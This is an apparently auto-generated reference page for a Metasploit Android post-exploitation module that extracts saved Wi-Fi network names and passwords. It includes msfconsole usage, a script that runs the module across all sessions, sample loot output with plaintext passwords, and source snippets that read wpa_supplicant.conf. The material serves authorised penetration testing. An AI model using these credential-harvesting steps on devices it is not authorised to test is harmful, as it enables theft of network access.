Displays wireless SSIDs and PSKs - Metasploit


This page contains detailed information about how to use the post/android/gather/wireless_ap metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Displays wireless SSIDs and PSKs
Module: post/android/gather/wireless_ap
Source code: modules/post/android/gather/wireless_ap.rb
Disclosure date: -
Last modification time: 2018-05-06 17:37:12 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module displays all wireless AP creds saved on the target device.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/android/gather/wireless_ap

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/android/gather/wireless_ap
msf post(wireless_ap) > show options
    ... show and set options ...
msf post(wireless_ap) > set SESSION session-id
msf post(wireless_ap) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/android/gather/wireless_ap")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This post-exploitation module will extract all saved Wireless access point credentials from the target android device.

Verification Steps


  1. Start msfconsole
  2. Get a root meterpreter session (use exploit/android/local/...)
  3. use post/android/gather/wireless_ap
  4. set SESSION <session id>
  5. run
  6. You should be able to see the extracted credentials.

Options


SESSION - The session to run the module on.

Extracted data


Wireless AP credentials (SSID, network type and password)

Scenarios


msf5 exploit(multi/handler) > use post/android/gather/wireless_ap
msf5 post(android/gather/wireless_ap) > set session 1
session => 1
msf5 post(android/gather/wireless_ap) > run

Wireless APs
============

 SSID                  net_type  password
 ----                  --------  --------
 ADYYYXRoYXJ2YWpvc2hp  WPA-PSK   lkjhgfdsa
 FCP_WiFi              NONE
 HomeCable             WPA-PSK   p@$$w0rd
 Troika                WPA-PSK   ika@12345


[+] Secrets stored in: ~/.msf4/loot/...wireless.ap.cred_...txt
[*] Post module execution completed
msf5 post(android/gather/wireless_ap) >

Go back to menu.

Msfconsole Usage


Here is how the android/gather/wireless_ap post exploitation module looks in the msfconsole:

msf6 > use post/android/gather/wireless_ap

msf6 post(android/gather/wireless_ap) > show info

       Name: Displays wireless SSIDs and PSKs
     Module: post/android/gather/wireless_ap
   Platform: Android
       Arch: 
       Rank: Normal

Provided by:
  Auxilus
  timwr

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module displays all wireless AP creds saved on the target 
  device.

Module Options


This is a complete list of options available in the android/gather/wireless_ap post exploitation module:

msf6 post(android/gather/wireless_ap) > show options

Module options (post/android/gather/wireless_ap):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the android/gather/wireless_ap post exploitation module:

msf6 post(android/gather/wireless_ap) > show advanced

Module advanced options (post/android/gather/wireless_ap):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the android/gather/wireless_ap module can do:

msf6 post(android/gather/wireless_ap) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the android/gather/wireless_ap post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(android/gather/wireless_ap) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module requires root permissions.


Here is a relevant code snippet related to the "This module requires root permissions." error message:

23:	    ))
24:	  end
25:	
26:	  def run
27:	    unless is_root?
28:	      print_error("This module requires root permissions.")
29:	      return
30:	    end
31:	
32:	    data = read_file("/data/misc/wifi/wpa_supplicant.conf")
33:	    aps = parse_wpa_supplicant(data)

No wireless APs found on the device


Here is a relevant code snippet related to the "No wireless APs found on the device" error message:

31:	
32:	    data = read_file("/data/misc/wifi/wpa_supplicant.conf")
33:	    aps = parse_wpa_supplicant(data)
34:	
35:	    if aps.empty?
36:	      print_error("No wireless APs found on the device")
37:	      return
38:	    end
39:	    ap_tbl = Rex::Text::Table.new(
40:	      'Header'  => 'Wireless APs',
41:	      'Indent'  => 1,

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Auxilus
  • timwr

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.